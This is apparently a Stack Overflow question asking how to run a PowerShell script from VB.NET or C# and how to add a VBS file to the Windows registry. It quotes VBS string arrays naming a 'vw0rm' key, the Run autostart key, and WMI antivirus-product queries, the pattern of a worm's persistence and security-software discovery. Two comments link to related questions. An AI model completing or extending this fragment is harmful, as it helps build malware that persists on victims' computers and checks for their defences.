0

I have a file script ps.1 I want to run file ps.1 from vb.net or c# anyone can help me, please and also I want to copy my VBS file to register windows i use this code but not work

j = array("WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP") g = array("HKCU","HKLM","HKCU\vw0rm","\Software\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Classes","REG_SZ","\defaulticon") y= array("winmgmts:","win32_logicaldisk","Win32_OperatingSystem","winmgmts:\localhost\root\securitycenter","AntiVirusProduct")

Un4Given
  • 1
  • 1
  • 1
    Does this answer your question? [How to execute a PowerShell script using c#](https://stackoverflow.com/questions/61486225/how-to-execute-a-powershell-script-using-c-sharp) – Klaus Gütter Sep 03 '22 at 11:06
  • Does this answer your question? [Run Exe file as an Embedded Resource in C#](https://stackoverflow.com/questions/15470090/run-exe-file-as-an-embedded-resource-in-c-sharp) – Bill Tür stands with Ukraine Sep 03 '22 at 11:29

0 Answers0